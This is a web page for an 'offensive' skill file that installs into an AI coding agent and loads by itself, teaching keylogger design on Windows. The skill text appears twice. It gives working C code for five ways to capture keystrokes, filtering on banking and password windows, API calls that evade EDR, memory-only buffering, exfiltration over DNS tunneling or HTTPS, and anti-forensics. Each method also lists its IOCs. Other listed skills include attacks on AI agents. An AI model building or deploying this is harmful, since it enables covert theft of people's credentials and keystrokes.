/keylogger-arch
--- name: keylogger-architecture description: Use when designing or analyzing keystroke/input capture — SetWindowsHookEx, raw input devices, ETW-based capture, kernel drivers, stealth techniques and their IOCs metadata: type: offensive phase: research kill_chain: phase:
$ npx -y skills add hypnguyen1209/offensive-claude --skill keylogger-arch --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/keylogger-arch
Context preview
The summary Claude sees to decide when to auto-load this skill.
--- name: keylogger-architecture description: Use when designing or analyzing keystroke/input capture — SetWindowsHookEx, raw input devices, ETW-based capture, kernel drivers, stealth techniques and their IOCs metadata: type: offensive phase: research kill_chain: phase:
SKILL.md
keylogger-arch.SKILL.md--- name: keylogger-architecture description: Use when designing or analyzing keystroke/input capture — SetWindowsHookEx, raw input devices, ETW-based capture, kernel drivers, stealth techniques and their IOCs metadata: type: offensive phase: research kill_chain: phase: [install, actions] step: [5, 7] attck_tactics: [TA0003, TA0009] depends_on: [privesc-windows, edr-evasion] feeds_into: [red-team-ops] inputs: [target_os, edr_product] outputs: [keylogger_binary, captured_input] ---
Keylogger Architecture
When to Activate
- Understanding input capture mechanisms for red team implants
- Analyzing malware keylogging capabilities
- EDR evasion research for input monitoring
- Designing stealthy credential capture
Method 1: SetWindowsHookEx (WH_KEYBOARD_LL)
How It Works
// Install global low-level keyboard hook
HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION) {
KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT*)lParam;
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
LogKey(kb->vkCode);
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
// MUST pump messages — hook won't fire without message loop
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}Internal Mechanism
1. `SetWindowsHookEx` → `NtUserSetWindowsHookEx` in win32k.sys 2. Kernel creates HOOK structure, inserts at head of global hook chain 3. **Low-level hooks (WH_KEYBOARD_LL)**: NO DLL injection — events delivered via internal message to installing process 4. **Regular hooks (WH_KEYBOARD)**: DLL injected into every target process via APC
IOCs
- Hook entry visible in `!hook` WinDbg command
- Installing thread must pump messages (detectable by message queue footprint)
- If regular hook: mapped DLL in every hooked process (VAD artifact)
- EDR can hook `user32!SetWindowsHookEx` to detect installation
Method 2: RegisterRawInputDevices
How It Works
// Register for raw keyboard input — no hook chain, no DLL injection
RAWINPUTDEVICE rid;
rid.usUsagePage = 0x01; // Generic Desktop
rid.usUsage = 0x06; // Keyboard
rid.dwFlags = RIDEV_INPUTSINK; // Receive input even when not foreground
rid.hwndTarget = hWnd; // Message-only window
RegisterRawInputDevices(&rid, 1, sizeof(rid));
// In window procedure:
case WM_INPUT: {
RAWINPUT raw;
UINT size = sizeof(raw);
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &raw, &size, sizeof(RAWINPUTHEADER));
if (raw.header.dwType == RIM_TYPEKEYBOARD) {
LogKey(raw.data.keyboard.VKey);
}
}Advantages Over Hooks
- Does NOT appear in `!hook` list
- No cross-process DLL mapping
- Invisible to most EDR "hook chain" sensors
- No `CallNextHookEx` chain dependency
IOCs
- **ETW event from kernel** (win32kfull.sys): `EtwTraceAuditApiRegisterRawInputDevices`
- Contains PID, TID, UsagePage, Usage, Flags
- Channel is ON by default, CANNOT be disabled without kernel patch
- **This is the strongest IOC** — do not discount it
- Process must have window station and desktop
- Process must pump messages continuously
Method 3: GetAsyncKeyState Polling
// Simple but CPU-intensive — polls every key state
while (true) {
for (int key = 0; key < 256; key++) {
if (GetAsyncKeyState(key) & 0x0001) { // Key was pressed since last check
LogKey(key);
}
}
Sleep(10); // Reduce CPU usage
}IOCs
- High CPU usage from polling loop
- Detectable by API call frequency monitoring
- No kernel-level artifacts
- Least stealthy but simplest to implement
Method 4: DirectInput / Raw HID Device
// Open keyboard device directly (requires admin)
HANDLE hKeyboard = CreateFile(L"\\\\?\\HID#VID_xxxx&PID_xxxx",
GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
// Read HID reports directly — bypasses win32k entirely
ReadFile(hKeyboard, buffer, sizeof(buffer), &bytesRead, &overlapped);
// Parse HID keyboard report (8 bytes: modifier + reserved + 6 keycodes)IOCs
- Requires admin/SYSTEM privileges
- Creates IRP_MJ_READ telemetry on keyboard device
- Bypasses all userland monitoring
- Detectable by kernel-mode ETW or minifilter
Method 5: ETW-Based Capture (Defensive Turned Offensive)
// Subscribe to Microsoft-Windows-USB-UCX or HID ETW providers
// Capture raw USB HID events including keystrokes
// Requires admin but leaves minimal footprint
// Provider: Microsoft-Windows-USB-USBHUB3
// Events contain raw USB transfer data including HID reports
Window Title Capture (Context Filtering)
GetWindowTextA / GetForegroundWindow
// Capture which application receives keystrokes
HWND fg = GetForegroundWindow();
char title[256];
GetWindowTextA(fg, title, sizeof(title));
// Filter: only log when title contains "login", "bank", "password"
Stealthier: NtUserInternalGetWindowText
// Lower-level, less hooked by EDRs
// Defined in win32u.dll, syscall into win32kfull.sys
typedef BOOL (WINAPI *pNtUserInternalGetWindowText)(HWND, LPWSTR, INT);
pNtUserInternalGetWindowText fn = GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserInternalGetWindowText");
WCHAR title[256];
fn(hWnd, title, 256);Stealth Techniques
Memory-Only Operation
- Never write keystrokes to disk
- Buffer in encrypted memory, exfiltrate periodically
- Use sleep masking to encrypt buffer during idle
Exfiltration Methods
- DNS tunneling (encode keystrokes in subdomain queries)
- HTTPS POST to legitimate-looking endpoint
- Append to legitimate application traffic (piggyback)
- Store in registry/ADS, retrieve separately
Anti-Forensics
- Encrypt keystroke buffer with session key
- Overwrite buffer after exfiltration
- No persistent artifacts on disk
- Blend process name with legitimate so
Read more
--- name: keylogger-architecture description: Use when designing or analyzing keystroke/input capture — SetWindowsHookEx, raw input devices, ETW-based capture, kernel drivers, stealth techniques and their IOCs metadata: type: offensive phase: research kill_chain: phase: [install, actions] step: [5, 7] attck_tactics: [TA0003, TA0009] depends_on: [privesc-windows, edr-evasion] feeds_into: [red-team-ops] inputs: [target_os, edr_product] outputs: [keylogger_binary, captured_input] ---
Keylogger Architecture
When to Activate
- Understanding input capture mechanisms for red team implants
- Analyzing malware keylogging capabilities
- EDR evasion research for input monitoring
- Designing stealthy credential capture
Method 1: SetWindowsHookEx (WH_KEYBOARD_LL)
How It Works
// Install global low-level keyboard hook
HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION) {
KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT*)lParam;
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
LogKey(kb->vkCode);
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
// MUST pump messages — hook won't fire without message loop
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}Internal Mechanism
1. `SetWindowsHookEx` → `NtUserSetWindowsHookEx` in win32k.sys 2. Kernel creates HOOK structure, inserts at head of global hook chain 3. **Low-level hooks (WH_KEYBOARD_LL)**: NO DLL injection — events delivered via internal message to installing process 4. **Regular hooks (WH_KEYBOARD)**: DLL injected into every target process via APC
IOCs
- Hook entry visible in `!hook` WinDbg command
- Installing thread must pump messages (detectable by message queue footprint)
- If regular hook: mapped DLL in every hooked process (VAD artifact)
- EDR can hook `user32!SetWindowsHookEx` to detect installation
Method 2: RegisterRawInputDevices
How It Works
// Register for raw keyboard input — no hook chain, no DLL injection
RAWINPUTDEVICE rid;
rid.usUsagePage = 0x01; // Generic Desktop
rid.usUsage = 0x06; // Keyboard
rid.dwFlags = RIDEV_INPUTSINK; // Receive input even when not foreground
rid.hwndTarget = hWnd; // Message-only window
RegisterRawInputDevices(&rid, 1, sizeof(rid));
// In window procedure:
case WM_INPUT: {
RAWINPUT raw;
UINT size = sizeof(raw);
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &raw, &size, sizeof(RAWINPUTHEADER));
if (raw.header.dwType == RIM_TYPEKEYBOARD) {
LogKey(raw.data.keyboard.VKey);
}
}Advantages Over Hooks
- Does NOT appear in `!hook` list
- No cross-process DLL mapping
- Invisible to most EDR "hook chain" sensors
- No `CallNextHookEx` chain dependency
IOCs
- **ETW event from kernel** (win32kfull.sys): `EtwTraceAuditApiRegisterRawInputDevices`
- Contains PID, TID, UsagePage, Usage, Flags
- Channel is ON by default, CANNOT be disabled without kernel patch
- **This is the strongest IOC** — do not discount it
- Process must have window station and desktop
- Process must pump messages continuously
Method 3: GetAsyncKeyState Polling
// Simple but CPU-intensive — polls every key state
while (true) {
for (int key = 0; key < 256; key++) {
if (GetAsyncKeyState(key) & 0x0001) { // Key was pressed since last check
LogKey(key);
}
}
Sleep(10); // Reduce CPU usage
}IOCs
- High CPU usage from polling loop
- Detectable by API call frequency monitoring
- No kernel-level artifacts
- Least stealthy but simplest to implement
Method 4: DirectInput / Raw HID Device
// Open keyboard device directly (requires admin)
HANDLE hKeyboard = CreateFile(L"\\\\?\\HID#VID_xxxx&PID_xxxx",
GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
// Read HID reports directly — bypasses win32k entirely
ReadFile(hKeyboard, buffer, sizeof(buffer), &bytesRead, &overlapped);
// Parse HID keyboard report (8 bytes: modifier + reserved + 6 keycodes)IOCs
- Requires admin/SYSTEM privileges
- Creates IRP_MJ_READ telemetry on keyboard device
- Bypasses all userland monitoring
- Detectable by kernel-mode ETW or minifilter
Method 5: ETW-Based Capture (Defensive Turned Offensive)
// Subscribe to Microsoft-Windows-USB-UCX or HID ETW providers // Capture raw USB HID events including keystrokes // Requires admin but leaves minimal footprint // Provider: Microsoft-Windows-USB-USBHUB3 // Events contain raw USB transfer data including HID reports
Window Title Capture (Context Filtering)
GetWindowTextA / GetForegroundWindow
// Capture which application receives keystrokes HWND fg = GetForegroundWindow(); char title[256]; GetWindowTextA(fg, title, sizeof(title)); // Filter: only log when title contains "login", "bank", "password"
Stealthier: NtUserInternalGetWindowText
// Lower-level, less hooked by EDRs
// Defined in win32u.dll, syscall into win32kfull.sys
typedef BOOL (WINAPI *pNtUserInternalGetWindowText)(HWND, LPWSTR, INT);
pNtUserInternalGetWindowText fn = GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserInternalGetWindowText");
WCHAR title[256];
fn(hWnd, title, 256);Stealth Techniques
Memory-Only Operation
- Never write keystrokes to disk
- Buffer in encrypted memory, exfiltrate periodically
- Use sleep masking to encrypt buffer during idle
Exfiltration Methods
- DNS tunneling (encode keystrokes in subdomain queries)
- HTTPS POST to legitimate-looking endpoint
- Append to legitimate application traffic (piggyback)
- Store in registry/ADS, retrieve separately
Anti-Forensics
- Encrypt keystroke buffer with session key
- Overwrite buffer after exfiltration
- No persistent artifacts on disk
- Blend process name with legitimate so
A spec-driven offensive security framework for Claude Code — structured engagement workflows based on the Cyber Kill Chain, 31 kill-chain skills (multi-file progressive-disclosure) plus a discipline layer (a SessionStart dispatcher + 6 process/discipline
Repo: hypnguyen1209/offensive-claude
Other skills on offensive-claude.
- /active-directory-attack
Use when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu), ticket forgery & DCSync, dMSA BadSuccessor (CVE-2025-53779), BloodHound attack-path enumeration, domain dominance
Open skill - /advanced-redteam
--- name: advanced-redteam-ops description: Use when designing C2 infrastructure or OPSEC for a long-haul red-team op — redirectors, malleable profiles, tiered/segregated infra, living-off-the-land, data exfiltration metadata: type: offensive phase: operations kill_chain: phase:
Open skill - /ai-agent-redteam
Use when red-teaming an agentic AI / LLM application — indirect & zero-click prompt injection, MCP tool poisoning, persistent memory poisoning, excessive-agency tool abuse, multi-turn jailbreaks, PyRIT/Garak/Promptfoo harnesses
Open skill - /ai-security
Use when attacking an AI/ML system or model — prompt injection & jailbreaks (Crescendo, Skeleton Key, Best-of-N), RAG/vector poisoning, agentic/MCP exploitation (CVE-2025-54136), ML supply-chain RCE (pickle CVE-2025-32434), model extraction / membership inference / adversarial
Open skill - /browser-exploitation
Use when building a client-side browser exploit — V8/JSC JIT type confusion to renderer R/W, V8 heap-sandbox escape, renderer-to-browser sandbox escape (Mojo IPC, GPU/Dawn/ANGLE), Electron/webview IPC abuse, 1-click RCE chains
Open skill - /cicd-supply-chain
Use when attacking or auditing a CI/CD pipeline or software supply chain — pwn requests, poisoned pipeline execution, compromised/mutable-tag actions, dependency confusion, registry worms, runner backdoors, OIDC trust abuse, SLSA/provenance
Open skill

